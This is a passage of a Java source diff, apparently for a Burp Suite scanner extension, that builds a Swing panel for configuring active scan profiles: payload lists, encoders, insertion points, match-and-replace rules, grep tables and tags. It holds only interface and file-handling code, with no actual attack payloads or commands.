javax.swing.RowSorter; +import javax.swing.SortOrder; +import javax.swing.table.DefaultTableModel; +import javax.swing.table.TableModel; +import javax.swing.table.TableRowSorter; + +/** + * + * @author eduardogarcia + */ +public class ActiveProfile extends javax.swing.JPanel { + + /** + * Creates new form ActiveProfile + */ + DefaultListModel payload; + DefaultListModel grep; + DefaultListModel encoder; + DefaultListModel tag; + DefaultListModel tagmanager; + List headers; + List variationAttributes; + List insertionPointType; + List Tags; + Boolean pathDiscovery; + DefaultTableModel model; + DefaultTableModel model1; + DefaultTableModel model2; + DefaultTableModel model4; + DefaultTableModel model9; + DefaultTableModel model10; + DefaultTableModel modelgrep; + IBurpExtenderCallbacks callbacks; + String filename; + + public ActiveProfile(IBurpExtenderCallbacks callbacks) { + + payload = new DefaultListModel(); + grep = new DefaultListModel(); + encoder = new DefaultListModel(); + tag = new DefaultListModel(); + tagmanager = new DefaultListModel(); + model4 = new DefaultTableModel(); + model9 = new DefaultTableModel(); + model10 = new DefaultTableModel(); + modelgrep = new DefaultTableModel(); + headers = new ArrayList(); + variationAttributes = new ArrayList(); + insertionPointType = new ArrayList(); + this.callbacks = callbacks; + + modelgrep = new DefaultTableModel() { + @Override + public Class getColumnClass(int columnIndex) { + Class clazz = String.class; + switch (columnIndex) { + case 0: + clazz = Boolean.class; + break; + } + return clazz; + } + + @Override + public boolean isCellEditable(int row, int column) { + if (column == 1) { + return false; + } else { + return true; + } + } + }; + + + initComponents(); + if (callbacks.loadExtensionSetting("filename") != null) { + filename = callbacks.loadExtensionSetting("filename")+ File.separator;; + } else { + filename = System.getProperty("user.home")+ File.separator;; + } + showHeaders(headers); + showGrepsTable(); + + } + + public void showGrepsTable() { + modelgrep.setNumRows(0); + modelgrep.setColumnCount(0); + modelgrep.addColumn("Enabled"); + modelgrep.addColumn("Operator"); + modelgrep.addColumn("Value"); + + table5.getColumnModel().getColumn(0).setPreferredWidth(5); + table5.getColumnModel().getColumn(1).setPreferredWidth(15); + table5.getColumnModel().getColumn(2).setPreferredWidth(400); + + TableRowSorter sorter = new TableRowSorter<>(table5.getModel()); + table5.setRowSorter(sorter); + List sortKeys = new ArrayList<>(); + sorter.setSortKeys(sortKeys); + sorter.sort(); + } + + public void showGreps(List greps) { + + for (String grepline : greps) { + List array = Arrays.asList(grepline.split(",")); + if (array.size() > 1) { + if (array.get(0).equals("true")) { + modelgrep.addRow(new Object[]{true, array.get(1), array.get(2)}); + } else { + modelgrep.addRow(new Object[]{false, array.get(1), array.get(2)}); + } + } else { + + modelgrep.addRow(new Object[]{true, "Or", grepline}); + } + } + } + + public void loadGrepsFile(DefaultTableModel model) { + //Load file for implement payloads and match load button + List grep = new ArrayList(); + String line; + JFrame parentFrame = new JFrame(); + JFileChooser fileChooser = new JFileChooser(); + fileChooser.setDialogTitle("Specify a file to load"); + + int userSelection = fileChooser.showOpenDialog(parentFrame); + + if (userSelection == JFileChooser.APPROVE_OPTION) { + File fileload = fileChooser.getSelectedFile(); + textgreps.setText(fileload.getAbsolutePath()); + try { + BufferedReader bufferreader = new BufferedReader(new FileReader(fileload.getAbsolutePath())); + line = bufferreader.readLine(); + + while (line != null) { + grep.add(line); + line = bufferreader.readLine(); + } + bufferreader.close(); + showGreps(grep); + } catch (FileNotFoundException ex) { + callbacks.printError("ActivePorfile line 213:" + ex.getMessage()); + } catch (IOException ex) { + callbacks.printError("ActivePorfile line 215:" + ex.getMessage()); + } + } + } + + public void showHeaders(List Header) { + + JComboBox jcb = new JComboBox(); + JComboBox jcb1 = new JComboBox(); + + //model for active profiles + model4.setNumRows(0); + model4.setColumnCount(0); + model4.addColumn("Item"); + model4.addColumn("Match"); + model4.addColumn("Replace"); + model4.addColumn("Type"); + + jcb.addItem("Payload"); + jcb.addItem("Request"); + jcb1.addItem("String"); + jcb1.addItem("Regex"); + + table4.getColumnModel().getColumn(0).setPreferredWidth(140); + table4.getColumnModel().getColumn(1).setPreferredWidth(400); + table4.getColumnModel().getColumn(2).setPreferredWidth(450); + table4.getColumnModel().getColumn(3).setPreferredWidth(120); + + table4.getColumnModel().getColumn(0).setCellEditor(new DefaultCellEditor(jcb)); + table4.getColumnModel().getColumn(3).setCellEditor(new DefaultCellEditor(jcb1)); + TableRowSorter sorter = new TableRowSorter<>(table4.getModel()); + table4.setRowSorter(sorter); + List sortKeys = new ArrayList<>(); + + sortKeys.add(new RowSorter.SortKey(0, SortOrder.DESCENDING)); + sorter.setSortKeys(sortKeys); + sorter.sort(); + + for (int i = 0; i < Header.size(); i++) { + model4.addRow(new Object[]{Header.get(i).type, Header.get(i).match, Header.get(i).replace, Header.get(i).regex}); + } + } + + public void setEnabledVariations(boolean state) { + Attributes.setEnabled(state); + status_code.setEnabled(state); + input_image_labels.setEnabled(state); + non_hidden_form_input_types.setEnabled(state); + page_title.setEnabled(state); + visible_text.setEnabled(state); + button_submit_labels.setEnabled(state); + div_ids.setEnabled(state); + word_count.setEnabled(state); + content_type.setEnabled(state); + outbound_edge_tag_names.setEnabled(state); + whole_body_content.setEnabled(state); + etag_header.setEnabled(state); + visible_word_count.setEnabled(state); + content_length.setEnabled(state); + header_tags.setEnabled(state); + tag_ids.setEnabled(state); + comments.setEnabled(state); + line_count.setEnabled(state); + set_cookie_names.setEnabled(state); + last_modified_header.setEnabled(state); + first_header_tag.setEnabled(state); + tag_names.setEnabled(state); + input_submit_labels.setEnabled(state); + outbound_edge_count.setEnabled(state); + initial_body_content.setEnabled(state); + content_location.setEnabled(state); + limited_body_content.setEnabled(state); + canonical_link.setEnabled(state); + css_classes.setEnabled(state); + location.setEnabled(state); + anchor_labels.setEnabled(state); + } + + public String getClipboardContents() { + //Get clipboard contents for implement grep and match paste button + String result = ""; + Clipboard clipboard = Toolkit.getDefaultToolkit().getSystemClipboard(); + Transferable contents = clipboard.getContents(null); + boolean hasTransferableText = (contents != null) && contents.isDataFlavorSupported(DataFlavor.stringFlavor); + + if (hasTransferableText) { + try { + result = (String) contents.getTransferData(DataFlavor.stringFlavor); + } catch (UnsupportedFlavorException | IOException ex) { + callbacks.printError("ActivePorfile line 304:" + ex.getMessage()); + } + } + return result; + } + + public void setSelectedInsertionPointType(boolean state) { + All.setSelected(state); + extensionprovided.setSelected(state); + header.setSelected(state); + entirebody.setSelected(state); + paramamf.setSelected(state); + parambody.setSelected(state); + paramcookie.setSelected(state); + paramjson.setSelected(state); + urlpathfolder.setSelected(state); + parammultipartattr.setSelected(state); + paramnamebody.setSelected(state); + paramnameurl.setSelected(state); + userprovided.setSelected(state); + paramurl.setSelected(state); + paramxml.setSelected(state); + paramxmlattr.setSelected(state); + urlpathfilename.setSelected(state); + unknown.setSelected(state); + } + + public void swap(int a, int b) { + Object aObject = encoder.getElementAt(a); + Object bObject = encoder.getElementAt(b); + encoder.set(a, bObject); + encoder.set(b, aObject); + } + + public void loadPayloadsFile(DefaultListModel list) { + //Load file for implement payloads and match load button + DefaultListModel List = list; + String line; + JFrame parentFrame = new JFrame(); + JFileChooser fileChooser = new JFileChooser(); + fileChooser.setDialogTitle("Specify a file to load"); + + int userSelection = fileChooser.showOpenDialog(parentFrame); + + if (userSelection == JFileChooser.APPROVE_OPTION) { + File fileload = fileChooser.getSelectedFile(); + textpayloads.setText(fileload.getAbsolutePath()); + try { + BufferedReader bufferreader = new BufferedReader(new FileReader(fileload.getAbsolutePath())); + line = bufferreader.readLine(); + + while (line != null) { + List.addElement(line); + line = bufferreader.readLine(); + } + bufferreader.close(); + } catch (FileNotFoundException ex) { + callbacks.printError("ActivePorfile line 361:" + ex.getMessage()); + } catch (IOException ex) { + callbacks.printError("ActivePorfile line 363:" + ex.getMessage()); + } + } + } + + public void loadGrepsFile(DefaultListModel list) { + //Load file for implement payloads and match load button + DefaultListModel List = list; + String line; + JFrame parentFrame = new JFrame(); + JFileChooser fileChooser = new JFileChooser(); + fileChooser.setDialogTitle("Specify a file to load"); + + int userSelection = fileChooser.showOpenDialog(parentFrame); + + if (userSelection == JFileChooser.APPROVE_OPTION) { + File fileload = fileChooser.getSelectedFile(); + textgreps.setText(fileload.getAbsolutePath()); + try { + BufferedReader bufferreader = new BufferedReader(new FileReader(fileload.getAbsolutePath())); + line = bufferreader.readLine(); + + while (line != null) { + List.addElement(line); + line = bufferreader.readLine(); + } + bufferreader.close(); + } catch (FileNotFoundException ex) { + callbacks.printError("ActivePorfile line 391:" + ex.getMessage()); + } catch (IOException ex) { + callbacks.printError("ActivePorfile line 393:" + ex.getMessage()); + } + } + } + + public void addNewTag(String str) { + if (!str.isEmpty()) { + try { + BufferedWriter out = new BufferedWriter(new FileWriter(filename.concat("tags.txt"), true)); + out.write(str.concat("\n")); + out.close(); + } catch (IOException e) { + callbacks.printError("ActivePorfile line 405:" + e.getMessage()); + } + } + } + + public void removeTag(String tag) { + String file = filename.concat("tags.txt"); + try { + + File inFile = new File(file); + + if (!inFile.isFile()) { + callbacks.printError("ActivePorfile line 417:"); + return; + } + + //Construct the new file that will later be renamed to the original filename. + File tempFile = new File(inFile.getAbsolutePath().concat(".tmp")); + + BufferedReader br = new BufferedReader(new FileReader(file)); + PrintWriter pw = new PrintWriter(new FileWriter(tempFile)); + + String line = null; + + //Read from the original file and write to the new + //unless content matches data to be removed. + while ((line = br.readLine()) != null) { + + if (!line.trim().equals(tag)) { + pw.println(line); + pw.flush(); + } + } + pw.close(); + br.close(); + + //Delete the original file + if (!inFile.delete()) { + callbacks.printError("Activeprofile line 443 Could not delete file"); + return; + } + + //Rename the new file to the filename the original file had. + if (!tempFile.renameTo(inFile)) { + callbacks.printError("ActiveProfile line 449 Could not rename file"); + } + + } catch (FileNotFoundException ex) { + callbacks.printError("ActivePorfile line 453:" + ex.getMessage()); + } catch (IOException ex) { + callbacks.printError("ActivePorfile line 455:" + ex.getMessage()); + } + } + + public void showTags() { + List tags = readFile(filename.concat("tags.txt")); + + newTagCombo.removeAllItems(); + tagmanager.removeAllElements(); + for (String tag : tags) { + newTagCombo.addItem(tag); + tagmanager.addElement(tag); + } + } + + private List readFile(String filename) { + List records = new ArrayList(); + try { + BufferedReader reader = new BufferedReader(new FileReader(filename)); + String line; + while ((line = reader.readLine()) != null) { + records.add(line); + } + reader.close(); + } catch (Exception e) { + callbacks.printError("ActivePorfile line 494:" + e.getMessage()); + } + return records; + } + + /** + * This method is called from within the constructor to initialize the form. + * WARNING: Do NOT modify this code. The content of this method is always + * regenerated by the Form Editor. + */ + @SuppressWarnings("unchecked") + // //GEN-BEGIN:initComponents + private void initComponents() { + + buttonGroup1 = new javax.swing.ButtonGroup(); + buttonGroup2 = new javax.swing.ButtonGroup(); + buttonGroup3 = new javax.swing.ButtonGroup(); + buttonGroup4 = new javax.swing.ButtonGroup(); + buttonGroup5 = new javax.swing.ButtonGroup(); + buttonGroup6 = new javax.swing.ButtonGroup(); + text1 = new javax.swing.JTextField(); + jLabel18 = new javax.swing.JLabel(); + jLabel12 = new javax.swing.JLabel(); + textauthor = new javax.swing.JTextField(); + headerstab = new javax.swing.JTabbedPane(); + jScrollPane5 = new javax.swing.JScrollPane(); + jPanel10 = new javax.swing.JPanel(); + parambody = new javax.swing.JCheckBox(); + jSeparator2 = new javax.swing.JSeparator(); + text5 = new javax.swing.JTextField(); + jButton9 = new javax.swing.JButton(); + button6 = new javax.swing.JButton(); + jScrollPane3 = new javax.swing.JScrollPane(); + list1 = new javax.swing.JList<>(); + jButton8 = new javax.swing.JButton(); + jScrollPane14 = new javax.swing.JScrollPane(); + table4 = new javax.swing.JTable(); + jLabel22 = new javax.swing.JLabel(); + urlpathfolder = new javax.swing.JCheckBox(); + jScrollPane4 = new javax.swing.JScrollPane(); + list3 = new javax.swing.JList<>(); + header = new javax.swing.JCheckBox(); + jSeparator3 = new javax.swing.JSeparator(); + paramurl = new javax.swing.JCheckBox(); + button3 = new javax.swing.JButton(); + jLabel55 = new javax.swing.JLabel(); + paramcookie = new javax.swing.JCheckBox(); + jLabel52 = new javax.swing.JLabel(); + paramnamebody = new javax.swing.JCheckBox(); + button2 = new javax.swing.JButton(); + paramamf = new javax.swing.JCheckBox(); + urlpathfilename = new javax.swing.JCheckBox(); + unknown = new javax.swing.JCheckBox(); + jLabel11 = new javax.swing.JLabel(); + jLabel17 = new javax.swing.JLabel(); + jSeparator4 = new javax.swing.JSeparator(); + button4 = new javax.swing.JButton(); + button18 = new javax.swing.JButton(); + button19 = new javax.swing.JButton(); + combo2 = new javax.swing.JComboBox<>(); + extensionprovided = new javax.swing.JCheckBox(); + parammultipartattr = new javax.swing.JCheckBox(); + paramjson = new javax.swing.JCheckBox(); + paramxmlattr = new javax.swing.JCheckBox(); + paramnameurl = new javax.swing.JCheckBox(); + textpayloads = new javax.swing.JTextField(); + userprovided = new javax.swing.JCheckBox(); + jLabel54 = new javax.swing.JLabel(); + jButton6 = new javax.swing.JButton(); + jLabel19 = new javax.swing.JLabel(); + jLabel10 = new javax.swing.JLabel(); + button5 = new javax.swing.JButton(); + replace = new javax.swing.JRadioButton(); + jLabel5 = new javax.swing.JLabel(); + check8 = new javax.swing.JCheckBox(); + textfield1 = new javax.swing.JTextField(); + entirebody = new javax.swing.JCheckBox(); + All = new javax.swing.JCheckBox(); + paramxml = new javax.swing.JCheckBox(); + jLabel23 = new javax.swing.JLabel(); + jLabel53 = new javax.swing.JLabel(); + append = new javax.swing.JRadioButton(); + jButton7 = new javax.swing.JButton(); + jLabel1 = new javax.swing.JLabel(); + jLabel20 = new javax.swing.JLabel(); + jScrollPane6 = new javax.swing.JScrollPane(); + jPanel11 = new javax.swing.JPanel(); + radio12 = new javax.swing.JRadioButton(); + radio4 = new javax.swing.JRadioButton(); + radio3 = new javax.swing.JRadioButton(); + radio22 = new javax.swing.JRadioButton(); + check4 = new javax.swing.JCheckBox(); + check1 = new javax.swing.JCheckBox(); + excludehttp = new javax.swing.JCheckBox(); + onlyhttp = new javax.swing.JCheckBox(); + check71 = new javax.swing.JCheckBox(); + check72 = new javax.swing.JCheckBox(); + texttime = new javax.swing.JTextField(); + text72 = new javax.swing.JTextField(); + text71 = new javax.swing.JTextField(); + negativeCT = new javax.swing.JCheckBox(); + negativeRC = new javax.swing.JCheckBox(); + jLabel16 = new javax.swing.JLabel(); + jLabel24 = new javax.swing.JLabel(); + jLabel25 = new javax.swing.JLabel(); + jLabel26 = new javax.swing.JLabel(); + jLabel27 = new javax.swing.JLabel(); + jLabel28 = new javax.swing.JLabel(); + jLabel29 = new javax.swing.JLabel(); + jSeparator5 = new javax.swing.JSeparator(); + jLabel30 = new javax.swing.JLabel(); + jLabel31 = new javax.swing.JLabel(); + jSeparator6 = new javax.swing.JSeparator(); + rb1 = new javax.swing.JRadioButton(); + rb2 = new javax.swing.JRadioButton(); + rb3 = new javax.swing.JRadioButton(); + rb4 = new javax.swing.JRadioButton(); + jLabel2 = new javax.swing.JLabel(); + sp1 = new javax.swing.JSpinner(); + radiotime = new javax.swing.JRadioButton(); + jLabel6 = new javax.swing.JLabel(); + jSeparator11 = new javax.swing.JSeparator(); + jLabel42 = new javax.swing.JLabel(); + radiocl = new javax.swing.JRadioButton(); + textcl = new javax.swing.JTextField(); + variationsRadio = new javax.swing.JRadioButton(); + invariationsRadio = new javax.swing.JRadioButton(); + Attributes = new javax.swing.JPanel(); + status_code = new javax.swing.JCheckBox(); + input_image_labels = new javax.swing.JCheckBox(); + non_hidden_form_input_types = new javax.swing.JCheckBox(); + page_title = new javax.swing.JCheckBox(); + visible_text = new javax.swing.JCheckBox(); + button_submit_labels = new javax.swing.JCheckBox(); + div_ids = new javax.swing.JCheckBox(); + word_count = new javax.swing.JCheckBox(); + content_type = new javax.swing.JCheckBox(); + outbound_edge_tag_names = new javax.swing.JCheckBox(); + location = new javax.swing.JCheckBox(); + css_classes = new javax.swing.JCheckBox(); + last_modified_header = new javax.swing.JCheckBox(); + set_cookie_names = new javax.swing.JCheckBox(); + line_count = new javax.swing.JCheckBox(); + comments = new javax.swing.JCheckBox(); + tag_ids = new javax.swing.JCheckBox(); + header_tags = new javax.swing.JCheckBox(); + content_length = new javax.swing.JCheckBox(); + visible_word_count = new javax.swing.JCheckBox(); + whole_body_content = new javax.swing.JCheckBox(); + etag_header = new javax.swing.JCheckBox(); + first_header_tag = new javax.swing.JCheckBox(); + tag_names = new javax.swing.JCheckBox(); + input_submit_labels = new javax.swing.JCheckBox(); + outbound_edge_count = new javax.swing.JCheckBox(); + content_location = new javax.swing.JCheckBox(); + initial_body_content = new javax.swing.JCheckBox(); + limited_body_content = new javax.swing.JCheckBox(); + canonical_link = new javax.swing.JCheckBox(); + anchor_labels = new javax.swing.JCheckBox(); + jSeparator12 = new javax.swing.JSeparator(); + jScrollPane15 = new javax.swing.JScrollPane(); + table5 = new javax.swing.JTable(); + button20 = new javax.swing.JButton(); + button10 = new javax.swing.JButton(); + button7 = new javax.swing.JButton(); + button21 = new javax.swing.JButton(); + button8 = new javax.swing.JButton(); + textgreps = new javax.swing.JTextField(); + jScrollPane10 = new javax.swing.JScrollPane(); + jPanel12 = new javax.swing.JPanel(); + jLabel32 = new javax.swing.JLabel(); + jLabel33 = new javax.swing.JLabel(); + jLabel3 = new javax.swing.JLabel(); + jLabel4 = new javax.swing.JLabel(); + radio5 = new javax.swing.JRadioButton(); + radio6 = new javax.swing.JRadioButton(); + radio7 = new javax.swing.JRadioButton(); + radio8 = new javax.swing.JRadioButton(); + jLabel7 = new javax.swing.JLabel(); + radio9 = new javax.swing.JRadioButton(); + radio10 = new javax.swing.JRadioButton(); + radio11 = new javax.swing.JRadioButton(); + text4 = new javax.swing.JTextField(); + jSeparator7 = new javax.swing.JSeparator(); + jLabel34 = new javax.swing.JLabel(); + jLabel35 = new javax.swing.JLabel(); + jScrollPane7 = new javax.swing.JScrollPane(); + textarea2 = new javax.swing.JTextArea(); + jLabel13 = new javax.swing.JLabel(); + jLabel36 = new javax.swing.JLabel(); + jLabel37 = new javax.swing.JLabel(); + jSeparator8 = new javax.swing.JSeparator(); + jLabel38 = new javax.swing.JLabel(); + jLabel39 = new javax.swing.JLabel(); + jSeparator9 = new javax.swing.JSeparator(); + jScrollPane1 = new javax.swing.JScrollPane(); + textarea1 = new javax.swing.JTextArea(); + jLabel9 = new javax.swing.JLabel(); + jScrollPane8 = new javax.swing.JScrollPane(); + textarea3 = new javax.swing.JTextArea(); + jLabel14 = new javax.swing.JLabel(); + jLabel40 = new javax.swing.JLabel(); + jLabel41 = new javax.swing.JLabel(); + jSeparator10 = new javax.swing.JSeparator(); + jScrollPane9 = new javax.swing.JScrollPane(); + textarea4 = new javax.swing.JTextArea(); + jLabel15 = new javax.swing.JLabel(); + jPanel3 = new javax.swing.JPanel(); + removetag = new javax.swing.JButton(); + addTag = new javax.swing.JButton(); + newTagCombo = new javax.swing.JComboBox<>(); + jScrollPane11 = new javax.swing.JScrollPane(); + listtag = new javax.swing.JList<>(); + jLabel46 = new javax.swing.JLabel(); + jLabel47 = new javax.swing.JLabel(); + newTagb = new javax.swing.JButton(); + + setPreferredSize(new java.awt.Dimension(800, 600)); + + text1.setFont(new java.awt.Font("Lucida Grande", 0, 14)); // NOI18N + + jLabel18.setFont(new java.awt.Font("Lucida Grande", 0, 14)); // NOI18N + jLabel18.setText("Author:"); + + jLabel12.setFont(new java.awt.Font("Lucida Grande", 0, 14)); // NOI18N + jLabel12.setText("Name:"); + + textauthor.setFont(new java.awt.Font("Lucida Grande", 0, 14)); // NOI18N + + headerstab.setAutoscrolls(true); + headerstab.setFont(new java.awt.Font("Lucida Grande", 0, 14)); // NOI18N + headerstab.setPreferredSize(new java.awt.Dimension(780, 570)); + headerstab.addChangeListener(new javax.swing.event.ChangeListener() { + public void stateChanged(javax.swing.event.ChangeEvent evt) { + headerstabStateChanged(evt); + } + }); + + jScrollPane5.setPreferredSize(new java.awt.Dimension(0, 0)); + jScrollPane5.getVerticalScrollBar().setUnitIncrement(20); + + jPanel10.setMaximumSize(new java.awt.Dimension(0, 0)); + + parambody.setText("Param body"); + + jButton9.setText("Remove"); + jButton9.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + jButton9removeEncoder(evt); + } + }); + + button6.setText("Add"); + button6.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + button6setToPayload(evt); + } + }); + + list1.setModel(payload); + jScrollPane3.setViewportView(list1); + + jButton8.setText("Up"); + jButton8.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + jButton8upEncoder(evt); + } + }); + + table4.setFont(new java.awt.Font("Lucida Grande", 0, 13)); // NOI18N + table4.setModel(model4); + table4.setShowGrid(false); + jScrollPane14.setViewportView(table4); + + jLabel22.setFont(new java.awt.Font("Lucida Grande", 1, 14)); // NOI18N + jLabel22.setForeground(new java.awt.Color(255, 102, 51)); + jLabel22.setText("Payload Encoding"); + + urlpathfolder.setText("Url path folder"); + + list3.setModel(encoder); + jScrollPane4.setViewportView(list3); + + header.setText("Header"); + + paramurl.setText("Param url"); + + button3.setText("Load File"); + button3.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + button3loadPayloads(evt); + } + }); + + jLabel55.setText("You can define the payload options."); + + paramcookie.setText("Param cookie"); + + jLabel52.setFont(new java.awt.Font("Lucida Grande", 1, 14)); // NOI18N + jLabel52.setForeground(new java.awt.Color(255, 102, 51)); + jLabel52.setText("Match and Replace"); + + paramnamebody.setText("Param name body"); + + button2.setText("Paste"); + button2.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + button2pastePayload(evt); + } + }); + + paramamf.setText("Param AMF"); + + urlpathfilename.setText("Url path filename"); + + unknown.setText("Unknown"); + + jLabel11.setText("Insertion point type:"); + + jLabel17.setText(" * More info at
Burp Suite Extender API"); + jLabel17.addMouseListener(new java.awt.event.MouseAdapter() { + public void mouseClicked(java.awt.event.MouseEvent evt) { + jLabel17goWeb(evt); + } + }); + + button4.setText("Remove"); + button4.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + button4removePayload(evt); + } + }); + + button18.setText("Remove"); + button18.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + button18removeMatchReplace(evt); + } + }); + + button19.setText("Add"); + button19.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + addMatchReplace(evt); + } + }); + + combo2.setModel(new javax.swing.DefaultComboBoxModel<>(new String[] { "URL-encode key characters", "URL-encode all characters", "URL-encode all characters (Unicode)", "HTML-encode key characters", "HTML-encode all characters", "Base64-encode" })); + + extensionprovided.setText("Path discovery"); + + parammultipartattr.setText("Param multipart attr"); + + paramjson.setText("Param json"); + + paramxmlattr.setText("Param xml attr"); + + paramnameurl.setText("Param name url"); + + textpayloads.setToolTipText(""); + + userprovided.setText("User provided"); + + jLabel54.setFont(new java.awt.Font("Lucida Grande", 1, 14)); // NOI18N + jLabel54.setForeground(new java.awt.Color(255, 102, 51)); + jLabel54.setText("Payload Options"); + + jButton6.setText("Add"); + jButton6.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + jButton6addEncoder(evt); + } + }); + + jLabel19.setText("You can define one or more payloads. Each payload of this section will be sent at each insertion point."); + + jLabel10.setText("Payload position:"); + + button5.setText("Clear"); + button5.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + button5removeAllPayloads(evt); + } + }); + + buttonGroup1.add(replace); + replace.setText("Replace"); + + jLabel5.setFont(new java.awt.Font("Lucida Grande", 1, 14)); // NOI18N + jLabel5.setForeground(new java.awt.Color(255, 102, 51)); + jLabel5.setText("Payload "); + + check8.setText("URL-Encode these characters:"); + + entirebody.setText("Entire body"); + + All.setText("All "); + All.addItemListener(new java.awt.event.ItemListener() { + public void itemStateChanged(java.awt.event.ItemEvent evt) { + AllItemStateChanged(evt); + } + }); + + paramxml.setText("Param xml"); + + jLabel23.setText("You can define the encoding of payloads. You can encode each payload multiple times."); + + jLabel53.setText("These settings are used to automatically replace part of request when the active scanner run."); + + buttonGroup1.add(append); + append.setText("Append"); + + jButton7.setText("Down"); + jButton7.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + jButton7downEncoder(evt); + } + }); + + jLabel1.setText("- {PAYLOAD} token will be replaced by your payload"); + + jLabel20.setText("- {BC} token will be replaced by burpcollaborator host"); + + javax.swing.GroupLayout jPanel10Layout = new javax.swing.GroupLayout(jPanel10); + jPanel10.setLayout(jPanel10Layout); + jPanel10Layout.setHorizontalGroup( + jPanel10Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel10Layout.createSequentialGroup() + .addContainerGap() + .addGroup(jPanel10Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel10Layout.createSequentialGroup() + .addGroup(jPanel10Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jLabel22) + .addComponent(jLabel23, javax.swing.GroupLayout.PREFERRED_SIZE, 704, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(jLabel54) + .addComponent(jLabel55, javax.swing.GroupLayout.PREFERRED_SIZE, 704, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addGap(0, 0, Short.MAX_VALUE)) + .addGroup(jPanel10Layout.createSequentialGroup() + .addGroup(jPanel10Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel10Layout.createSequentialGroup() + .addGap(6, 6, 6) + .addGroup(jPanel10Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false) + .addComponent(jLabel53, javax.swing.GroupLayout.PREFERRED_SIZE, 704, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(jLabel52) + .addGroup(jPanel10Layout.createSequentialGroup() + .addComponent(check8) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(text5)) + .addGroup(jPanel10Layout.createSequentialGroup() + .addGroup(jPanel10Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false) + .addComponent(jButton9, javax.swing.GroupLayout.Alignment.TRAILING, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + .addComponent(jButton6, javax.swing.GroupLayout.Alignment.TRAILING, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + .addComponent(jButton8, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + .addComponent(jButton7, javax.swing.GroupLayout.PREFERRED_SIZE, 93, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addGap(18, 18, 18) + .addGroup(jPanel10Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false) + .addComponent(jScrollPane4) + .addComponent(combo2, 0, 670, Short.MAX_VALUE))) + .addGroup(jPanel10Layout.createSequentialGroup() + .addGroup(jPanel10Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(button18, javax.swing.GroupLayout.PREFERRED_SIZE, 89, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(button19, javax.swing.GroupLayout.PREFERRED_SIZE, 89, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addGap(18, 18, 18) + .addGroup(jPanel10Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jLabel1) + .addComponent(jScrollPane14, javax.swing.GroupLayout.PREFERRED_SIZE, 673, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(jLabel20))))) + .addGroup(jPanel10Layout.createSequentialGroup() + .addGroup(jPanel10Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING) + .addComponent(button6, javax.swing.GroupLayout.PREFERRED_SIZE, 89, javax.swing.GroupLayout.PREFERRED_SIZE) + .addGroup(jPanel10Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel10Layout.createSequentialGroup() + .addGap(12, 12, 12) + .addGroup(jPanel10Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel10Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(button3, javax.swing.GroupLayout.PREFERRED_SIZE, 89, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(button4, javax.swing.GroupLayout.Alignment.TRAILING, javax.swing.GroupLayout.PREFERRED_SIZE, 89, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addComponent(button5, javax.swing.GroupLayout.Alignment.TRAILING, javax.swing.GroupLayout.PREFERRED_SIZE, 89, javax.swing.GroupLayout.PREFERRED_SIZE))) + .addComponent(button2, javax.swing.GroupLayout.Alignment.TRAILING, javax.swing.GroupLayout.PREFERRED_SIZE, 89, javax.swing.GroupLayout.PREFERRED_SIZE))) + .addGap(18, 18, 18) + .addGroup(jPanel10Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false) + .addComponent(jScrollPane3, javax.swing.GroupLayout.DEFAULT_SIZE, 670, Short.MAX_VALUE) + .addComponent(textfield1) + .addComponent(textpayloads))) + .addComponent(jLabel19, javax.swing.GroupLayout.PREFERRED_SIZE, 704, javax.swing.GroupLayout.PREFERRED_SIZE) + .addGroup(jPanel10Layout.createSequentialGroup() + .addGap(47, 47, 47) + .addGroup(jPanel10Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + 